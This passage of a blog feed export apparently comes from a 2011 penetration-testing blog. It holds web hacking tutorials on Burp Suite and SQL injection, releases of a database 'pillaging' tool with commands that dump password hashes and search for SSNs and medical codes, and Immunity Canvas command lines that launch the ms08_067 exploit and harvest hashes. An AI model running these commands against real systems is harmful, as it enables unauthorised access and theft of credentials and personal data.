src="http://player.vimeo.com/video/31531318?title=0&amp;amp;byline=0&amp;amp;portrait=0" webkitallowfullscreen="" width="400"&gt;&lt;/iframe&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5948768001255972621-8840651751393954121?l=console-cowboys.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://console-cowboys.blogspot.com/feeds/8840651751393954121/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://console-cowboys.blogspot.com/2011/11/web-hacking-video-series-3-mysql-part-1.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5948768001255972621/posts/default/8840651751393954121'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5948768001255972621/posts/default/8840651751393954121'/><link rel='alternate' type='text/html' href='http://console-cowboys.blogspot.com/2011/11/web-hacking-video-series-3-mysql-part-1.html' title='Web Hacking Video Series #3 MySQL Part 1 (SQL Primer)'/><author><name>Ficti0n</name><uri>http://www.blogger.com/profile/01503121397289908637</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5948768001255972621.post-8452519342140460050</id><published>2011-09-03T00:02:00.000-07:00</published><updated>2011-11-04T21:28:39.558-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='pillaging'/><category scheme='http://www.blogger.com/atom/ns#' term='pillaging data'/><category scheme='http://www.blogger.com/atom/ns#' term='database pillaging'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>DataBase Pillager 0.5 Release (Video) Targeted data searches</title><content type='html'>&lt;div style="color: red;"&gt;&lt;b&gt;Updated Link + Features &lt;/b&gt;&lt;b&gt;9/27/2011 &lt;/b&gt;&lt;b&gt;after this initial post (New Query-Cmd Line "-q" to drop you into a sql shell and data formatting on display)&amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;br /&gt;Example: python dbpillage.py -a 127.0.0.1 -d mysql -u root -p toor&lt;b&gt; -q&lt;/b&gt;&lt;/div&gt;&lt;b style="color: #6aa84f;"&gt;Release 0.6:&amp;nbsp;&lt;a href="http://consolecowboys.org/pillager/pillage_0.6.zip"&gt;LINK:Download Pillager 0.6 &lt;/a&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Been busy as hell lately but I am working on a lot of stuff regarding SQL and Web Hacking stuff I will release soon, but right now I am releasing the newest version of the database pillager. There are numerous new features, optimizations and future development started and some really cool stuff. Currently the newest features include:&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #6aa84f;"&gt;&lt;b&gt;New Features:&lt;/b&gt;&lt;/div&gt;Database/Table Name targeted searches (done)&lt;br /&gt;Targeted Data searches within columns (done)&lt;br /&gt;Reporting Options (Partially done)&lt;br /&gt;GUI (In development)&lt;br /&gt;Universal SQL CMD shell (Done mysql,mssql)&lt;br /&gt;Also fixing a few more bugs related to mssql and unicode&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="color: #6aa84f;"&gt;Video Contents:&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;The below video will show how to make the most of the tool and show the newest targeted data searches as well as some program structure so you can make some simple modifications. &lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder="0" height="300" src="http://player.vimeo.com/video/28537253?title=0&amp;amp;byline=0&amp;amp;portrait=0" width="400"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;a href="http://vimeo.com/28537253"&gt;Untitled&lt;/a&gt; from &lt;a href="http://vimeo.com/user6868046"&gt;ficti0n&lt;/a&gt; on &lt;a href="http://vimeo.com/"&gt;Vimeo&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #6aa84f;"&gt;&lt;b&gt;Commands used:&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="color: #6aa84f;"&gt;&lt;span style="color: #3d85c6;"&gt;Simple Pillage: &lt;/span&gt;&lt;/div&gt;python dbpillage.py -a 127.0.0.1 -d mysql -u root -p toor&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #3d85c6;"&gt;Grab Hashes: &lt;/span&gt;&lt;br /&gt;python dbpillage.py -a 127.0.0.1 -d mysql -u root -p toor --hashes&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #3d85c6;"&gt;Database/Table Search based on a list: &lt;/span&gt;&lt;br /&gt;python dbpillage.py -a 127.0.0.1 -d mysql -u root -p toor -n&lt;br /&gt;&lt;div style="color: #3d85c6;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="color: #3d85c6;"&gt;Targeted Data Search bases on keyword list: &lt;/span&gt;&lt;br /&gt;python dbpillage.py -a 127.0.0.1 -d mysql -u root -p toor&amp;nbsp; -D&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #3d85c6;"&gt;Hipaa Search Specifically: &lt;/span&gt;&lt;br /&gt;python dbpillage.py -a 127.0.0.1 -d mysql -u root -p toor -s hipaa&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #3d85c6;"&gt;Limiting data: &lt;/span&gt;&lt;br /&gt;python dbpillage.py -a 127.0.0.1 -d mysql -u root -p toor&amp;nbsp; -s hipaa -l 1&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #6aa84f;"&gt;&lt;b&gt;Location of Lists:&lt;/b&gt;&lt;/div&gt;inputFiles directory&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5948768001255972621-8452519342140460050?l=console-cowboys.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://console-cowboys.blogspot.com/feeds/8452519342140460050/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://console-cowboys.blogspot.com/2011/09/database-pillager-05-release-video.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5948768001255972621/posts/default/8452519342140460050'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5948768001255972621/posts/default/8452519342140460050'/><link rel='alternate' type='text/html' href='http://console-cowboys.blogspot.com/2011/09/database-pillager-05-release-video.html' title='DataBase Pillager 0.5 Release (Video) Targeted data searches'/><author><name>Ficti0n</name><uri>http://www.blogger.com/profile/01503121397289908637</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5948768001255972621.post-6389956426019223715</id><published>2011-06-09T12:06:00.000-07:00</published><updated>2011-06-09T12:09:12.986-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Time based web attacks'/><category scheme='http://www.blogger.com/atom/ns#' term='Burp Intruder'/><title type='text'>Burp Intruder Time fields</title><content type='html'>&lt;div style="color: red;"&gt;&lt;b&gt;This is an update from the last video blog:&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;I had a update submission from Toxic after watching Web Application video #2. Although module 4 was to learn how to code custom  situations... Toxic noted that there are time fields within burp  intruder by adding the columns:&lt;br /&gt;&lt;br /&gt;-Response Received&lt;br /&gt;-Response Completed &lt;br /&gt;&lt;br /&gt;You  can get a number related to the seconds it took for the request to  complete... For example the php code originally was set for a 2 second  sleep function and so Jsmith had the following output:&lt;br /&gt;&lt;br /&gt;Response Received: 2107&lt;br /&gt;&lt;br /&gt;Now I upped the sleep function to 4 seconds and Jsmith has a new value of:&lt;br /&gt;&lt;br /&gt;Response Received: 4001&lt;br /&gt;&lt;br /&gt;I then upped the sleep function to 8 seconds and Jsmith has the new value of:&lt;br /&gt;Response Received: 8002&lt;br /&gt;&lt;br /&gt;Indicating  that field actually does keep track of the time between request and  response... Just another option for anyone playing with time based stuff  in burp..... &lt;br /&gt;&lt;br /&gt;GOOD CATCH TOXIC!!!!!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5948768001255972621-6389956426019223715?l=console-cowboys.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://console-cowboys.blogspot.com/feeds/6389956426019223715/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://console-cowboys.blogspot.com/2011/06/burp-intruder-time-fields.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5948768001255972621/posts/default/6389956426019223715'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5948768001255972621/posts/default/6389956426019223715'/><link rel='alternate' type='text/html' href='http://console-cowboys.blogspot.com/2011/06/burp-intruder-time-fields.html' title='Burp Intruder Time fields'/><author><name>Ficti0n</name><uri>http://www.blogger.com/profile/01503121397289908637</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5948768001255972621.post-1804761818112997541</id><published>2011-06-08T13:02:00.000-07:00</published><updated>2011-06-09T12:03:47.498-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='video'/><category scheme='http://www.blogger.com/atom/ns#' term='Web hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='Burp Tutorial'/><category scheme='http://www.blogger.com/atom/ns#' term='tutorial'/><category scheme='http://www.blogger.com/atom/ns#' term='authentication'/><category scheme='http://www.blogger.com/atom/ns#' term='python hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='Burp comparer'/><category scheme='http://www.blogger.com/atom/ns#' term='firebug'/><title type='text'>Web Hacking Video Series #2 Analysis of application behavior to bypass common implementation issues</title><content type='html'>&lt;div style="color: black;"&gt;&lt;b&gt;. &lt;/b&gt;&lt;/div&gt;&lt;b&gt;&lt;span style="color: #0b5394;"&gt;Video Lesson Topics:&amp;nbsp;&lt;/span&gt; &lt;/b&gt;(Running time 50+ minutes)&lt;br /&gt;&lt;b&gt;This lesson covers the following topics:&lt;/b&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Analysis of application behavior to bypass common implementation issues&lt;/li&gt;&lt;li&gt;Writing custom python code to deal with more complex testing situations&lt;/li&gt;&lt;li&gt;More on burp suite intruder, comparer and scoping settings&lt;/li&gt;&lt;li&gt;Introducing firebug for inspecting page elements &lt;/li&gt;&lt;li&gt;Lots of me rambling about testing issues and real world considerations/client issues&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="color: #0b5394;"&gt;New Hacking Lab:&amp;nbsp;&lt;/span&gt; &lt;/b&gt;(USE FIREFOX)&lt;br /&gt;&amp;nbsp;This is my second video on application security which includes a lab of 6 different user enumeration situations. Not really to show user enumeration, but to show the various ways developers handle situations and how we can determine ways to bypass issues. Everyone can follow along and play on the website as I ramble..&amp;nbsp; I got bored Friday night and started coding, and ended up with the beginning of a mini web hacking lab that I may continue to grow out regarding certain lessons or&amp;nbsp; I may allow downloading of the whole site when dealing with more dangerous topics I dont want to deploy online.&amp;nbsp; Also note that I dont care about complying with microsoft internet explorers finicky page parsing issues so use firefox if you dont want viewing issues.&amp;nbsp; ;) &lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I hope everyone learns something or at least enjoys the video if your are already a seasoned web slayer, but enjoy my rambling, that's cool too. If anyone has any good ideas regarding new videos, post a comment, I just kind of randomly thought of the last two lessons while trying to think of topics which were not beat to death in books and videos but I feel are important for those new to web. &lt;br /&gt;&lt;br /&gt;Here are some links/tools regarding this lesson if you plan on following along.. &lt;br /&gt;&lt;br /&gt;&lt;div style="color: #0b5394;"&gt;&lt;b&gt;Needed Follow Along Tools:&lt;/b&gt;&lt;/div&gt;-Firefox (Site doesn't comply with microsoft IE standards) &lt;br /&gt;-Firebug&lt;br /&gt;-Firecookie&lt;br /&gt;-Burp Suite&lt;br /&gt;-Python&lt;br /&gt;-Komodo Edit (Or editor of choice)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #0b5394;"&gt;&lt;b&gt;Web Hacking Lab:(Alpha Release):&lt;/b&gt;&lt;/div&gt;http://consolecowboys.org/webLab/&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="color: #0b5394;"&gt;Video link: &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;iframe frameborder="0" height="250" src="http://player.vimeo.com/video/24839131?title=0&amp;amp;byline=0&amp;amp;portrait=0" width="400"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;a href="http://vimeo.com/24839131"&gt;Analysis of application behavior to bypass common implementation issues&lt;/a&gt; from &lt;a href="http://vimeo.com/user6868046"&gt;ficti0n&lt;/a&gt; on &lt;a href="http://vimeo.com/"&gt;Vimeo&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #0b5394;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: #0b5394;"&gt;&lt;b&gt;Further Reading Regarding Authentication:&lt;/b&gt;&lt;/div&gt;https://www.owasp.org/index.php/Authentication_Cheat_Sheet&lt;br /&gt;&lt;br /&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5948768001255972621-1804761818112997541?l=console-cowboys.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://console-cowboys.blogspot.com/feeds/1804761818112997541/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://console-cowboys.blogspot.com/2011/06/web-hacking-video-series-2-analysis-of.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5948768001255972621/posts/default/1804761818112997541'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5948768001255972621/posts/default/1804761818112997541'/><link rel='alternate' type='text/html' href='http://console-cowboys.blogspot.com/2011/06/web-hacking-video-series-2-analysis-of.html' title='Web Hacking Video Series #2 Analysis of application behavior to bypass common implementation issues'/><author><name>Ficti0n</name><uri>http://www.blogger.com/profile/01503121397289908637</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5948768001255972621.post-858053942988389501</id><published>2011-05-07T11:14:00.000-07:00</published><updated>2011-05-09T13:24:16.201-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='video'/><category scheme='http://www.blogger.com/atom/ns#' term='Sql injection'/><category scheme='http://www.blogger.com/atom/ns#' term='Web hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='Burp Tutorial'/><category scheme='http://www.blogger.com/atom/ns#' term='Burp Extractor'/><category scheme='http://www.blogger.com/atom/ns#' term='tutorial'/><title type='text'>Web Hacking  Video Series #1 Automating SQLi with Burp Extractor</title><content type='html'>&lt;div style="color: #3d85c6;"&gt;&lt;b&gt;Why:&lt;/b&gt;&lt;/div&gt;After speaking with many penetration testers I have realized that web application hacking is a mystery for many testers who typically perform network based penetration testing but have no prior development knowledge. This post is the first in a series of Web Hacking Video Training posts that will attempt to show various techniques that prove useful in situations where you realize all avenues of attack are running across http based protocols. This is typical on external tests. &lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="color: #3d85c6;"&gt;Future topics&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;Will include subjects such as, Extensive coverage of the burp suite, handling large scale penetration tests where there are 100's of hosts running web ports with little else to attack. Extensive Burp Suite and Metasploit usage to solve common situations while attacking applications.  Understanding the underlying code via code reviews, and recoding the application. Detecting and handling Web Application firewalls(WAFS) and setting up and coding your own rules for your applications using open source WAFS. Profiling Web Services and discovering hidden functionality. Attacking deployable services, upload fields, web shells, etc etc etc. Any other ideas?? &lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="color: #3d85c6;"&gt;Targets:&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;These are just a few ideas I have, I am going to try to use targets that are realistic yet everyone can follow along with. So i will look for available applications or code up my own application targets as a lab of sorts that I will make available for download. I hate seeing tutorials and not being able to try things out. So I feel your pain and will try to find legal targets or ways for you to practice what I post.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="color: #3d85c6;"&gt;Burp Extractor Video:&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;This first video is on how to use Burps Extractor option to enumerate tables,columns and display the data on the Burp Intruder window. This technique is useful when you are trying to use SQLi tools but they are failing, however you know there is an injection point and need automation to get the job done.  This is less about SQLi and more about using extractor during your testing. This is NOT a SQLi tutorial, this is a Burp Suite Tutorial on Burp Extractor  ;)  My friend Chris shot me an email awhile ago regarding Extractor vs MSSQL and thought it was pretty sweeeeet so expanded on the idea with some more burp examples and used it for mysql since php/mysql apps are commonly found for download. :)  &lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder="0" height="300" src="http://player.vimeo.com/video/23402673?title=0&amp;amp;byline=0&amp;amp;portrait=0" width="400"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;a href="http://vimeo.com/23402673"&gt;Automating SQL Injection with BURP Suite Extractor&lt;/a&gt; from &lt;a href="http://vimeo.com/user6868046"&gt;ficti0n&lt;/a&gt; on &lt;a href="http://vimeo.com/"&gt;Vimeo&lt;/a&gt;.&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #cc0000;"&gt;Useful Links:&lt;/span&gt;&lt;/b&gt; &lt;br /&gt;&lt;span style="color: #3d85c6;"&gt;DVWA: &lt;/span&gt;http://www.dvwa.co.uk/ &lt;br /&gt;&lt;span style="color: #3d85c6;"&gt;Havij&lt;/span&gt;(where I grabbed dictionaries from): http://www.itsecteam.com/en/projects/project1_page2.htm &lt;br /&gt;&lt;span style="color: #3d85c6;"&gt;MYSQLi Cheatsheet:&lt;/span&gt; (Try these out on DVWA replacing my injections) http://pentestmonkey.net/blog/mysql-sql-injection-cheat-sheet/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5948768001255972621-858053942988389501?l=console-cowboys.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://console-cowboys.blogspot.com/feeds/858053942988389501/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://console-cowboys.blogspot.com/2011/05/web-hacking-video-series-1-automating.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5948768001255972621/posts/default/858053942988389501'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5948768001255972621/posts/default/858053942988389501'/><link rel='alternate' type='text/html' href='http://console-cowboys.blogspot.com/2011/05/web-hacking-video-series-1-automating.html' title='Web Hacking  Video Series #1 Automating SQLi with Burp Extractor'/><author><name>Ficti0n</name><uri>http://www.blogger.com/profile/01503121397289908637</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5948768001255972621.post-7355668683074283328</id><published>2011-04-24T23:30:00.000-07:00</published><updated>2011-05-09T13:25:13.763-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='post exploitation'/><category scheme='http://www.blogger.com/atom/ns#' term='exploitation'/><category scheme='http://www.blogger.com/atom/ns#' term='Immunity'/><category scheme='http://www.blogger.com/atom/ns#' term='penetration testing'/><category scheme='http://www.blogger.com/atom/ns#' term='tutorial'/><category scheme='http://www.blogger.com/atom/ns#' term='Canvas'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Immunity Canvas Code and CMDLine Walkthrough</title><content type='html'>This weekend was my first time playing around with Immunity Canvas. I noticed a lack of documentation for anything Non-Gui based regarding the framework. Since i had such a hard time tracking down information I decided to make a video showing Canvas basic CMDLine usage and tried to explain some module code based on my initial analysis I hope it helps&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Note:&lt;/b&gt; &lt;br /&gt;I have no previous experience with Canvas but this 20 minute video is everything I learned after playing around for a couple hours and searching everywhere for info..&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Whats in this video:&lt;/b&gt;&lt;br /&gt;-High Level Explanation of 2 modules(Exploit and Aux)&lt;br /&gt;-CmdLine usage for launching exploits and Aux Modules&lt;br /&gt;-Using PostEx modules after gaining a shell &lt;br /&gt;-Setting up Listeners and finding modules to run&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder="0" height="300" src="http://player.vimeo.com/video/22827856?title=0&amp;amp;byline=0&amp;amp;portrait=0" width="400"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;a href="http://vimeo.com/22827856"&gt;Immunity Canvas Code and CMDLine Walkthrough&lt;/a&gt; from &lt;a href="http://vimeo.com/user6868046"&gt;ficti0n&lt;/a&gt; on &lt;a href="http://vimeo.com/"&gt;Vimeo&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;CMDLINE Flags: &lt;/b&gt;&lt;br /&gt;-t Target&lt;br /&gt;-p Port &lt;br /&gt;-v Version of OS/target&lt;br /&gt;-l Your listening IP&lt;br /&gt;-d Your Listening port&lt;br /&gt;&lt;br /&gt;&lt;b&gt;PostEx Stuff:&lt;/b&gt;&lt;br /&gt;help&lt;br /&gt;runmodule getpasswordhashes&lt;br /&gt;shellshocked&lt;br /&gt;ps&lt;br /&gt;killprocess&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Running Exploit Without a Listener&lt;/b&gt;&lt;br /&gt;./exploits/ms08_067/ms08_067.py -t 192.168.1.65 -v&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Running Exploit with Listener&lt;/b&gt;&lt;br /&gt;./commandlineinterface.py -v 10 -p 4445&lt;br /&gt;./exploits/ms08_067/ms08_067.py  -t 192.168.1.65  -l 192.168.1.121 -d 4445&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5948768001255972621-7355668683074283328?l=console-cowboys.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://console-cowboys.blogspot.com/feeds/7355668683074283328/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://console-cowboys.blogspot.com/2011/04/immunity-canvas-code-and-cmdline.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5948768001255972621/posts/default/7355668683074283328'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5948768001255972621/posts/default/7355668683074283328'/><link rel='alternate' type='text/html' href='http://console-cowboys.blogspot.com/2011/04/immunity-canvas-code-and-cmdline.html' title='Immunity Canvas Code and CMDLine Walkthrough'/><author><name>Ficti0n</name><uri>http://www.blogger.com/profile/01503121397289908637</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5948768001255972621.post-4721771770028408274</id><published>2011-04-06T18:49:00.000-07:00</published><updated>2011-09-27T15:44:48.852-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='pillaging'/><category scheme='http://www.blogger.com/atom/ns#' term='hipaa'/><category scheme='http://www.blogger.com/atom/ns#' term='post exploitation'/><category scheme='http://www.blogger.com/atom/ns#' term='pci'/><category scheme='http://www.blogger.com/atom/ns#' term='mysql'/><category scheme='http://www.blogger.com/atom/ns#' term='penetration testing'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='mssql'/><category scheme='http://www.blogger.com/atom/ns#' term='database'/><category scheme='http://www.blogger.com/atom/ns#' term='postgresql'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='oracle'/><title type='text'>DbPillage Release 0.3</title><content type='html'>&lt;span style="font-size: large;"&gt;&lt;b style="color: #3d85c6;"&gt;Database Pillager Release 0.3&amp;nbsp; &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;(Couple New features and updates) &lt;br /&gt;&lt;br /&gt;Quick announcement on the Database Pillager tool. I have added in new features and updated many things...&amp;nbsp; Below is some info and an example. &lt;br /&gt;&lt;br /&gt;&lt;div style="color: #3d85c6;"&gt;&lt;b&gt;&lt;span style="color: red;"&gt;Updated &lt;/span&gt;Download Link: &lt;span style="color: red;"&gt;(0.6)&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;a href="http://consolecowboys.org/pillager/pillage_0.6.zip"&gt;&lt;b&gt;http://consolecowboys.org/pillager/pillage_0.6.zip&lt;/b&gt;&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;&lt;div style="color: #3d85c6;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="color: #3d85c6;"&gt;Updates/Features:&lt;/span&gt;&lt;br /&gt;-Grabs database password hashes from each database type when -# or --hashes is used&lt;br /&gt;&lt;br /&gt;-Implemented Hipaa Searches for all kinds of data (just searched the web for regexes :) haha if you have more I will be happy to add them)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * SSN &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; SSN with Dashes&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; SSN with spaces&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ICD10&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Carefirst ID&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; dental Procedure &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ICD9/ICD9CMType1&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ICD9/ICD9CMType2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="color: #3d85c6;"&gt;CommandLine Syntax Changed:&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;With the new functionality also comes new syntax so make sure to check the initial screen output by simply typing:&lt;br /&gt;&lt;span style="color: #cc0000;"&gt;python dbpillage.py&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;br style="color: #3d85c6;" /&gt;&lt;span style="color: #3d85c6;"&gt;Simple db query example with grab hashes and HIPAA search options:&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;root@bt:~/pillage# &lt;span style="color: #cc0000;"&gt;python dbPillage.py -a 127.0.0.1 -d mysql -u root --pass toor --hashes -s hipaa&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&amp;nbsp;Grabbing User/Password hashes for mysql:&lt;br /&gt;Hashes:&lt;br /&gt;&lt;span style="color: #cc0000;"&gt;('root', '*9CFBBC772F3F6C106020035386DA5BBBF1249A11')&lt;/span&gt;&lt;br style="color: #cc0000;" /&gt;&lt;span style="color: #cc0000;"&gt;('root', '*9CFBBC772F3F6C106020035386DA5BBBF1249A11')&lt;/span&gt;&lt;br style="color: #cc0000;" /&gt;&lt;span style="color: #cc0000;"&gt;('root', '*9CFBBC772F3F6C106020035386DA5BBBF1249A11')&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Try cracking mysql passwords with johnTheRipper&lt;br /&gt;&lt;br /&gt;Would you also like to pillage y/n:&lt;b&gt;&lt;span style="color: 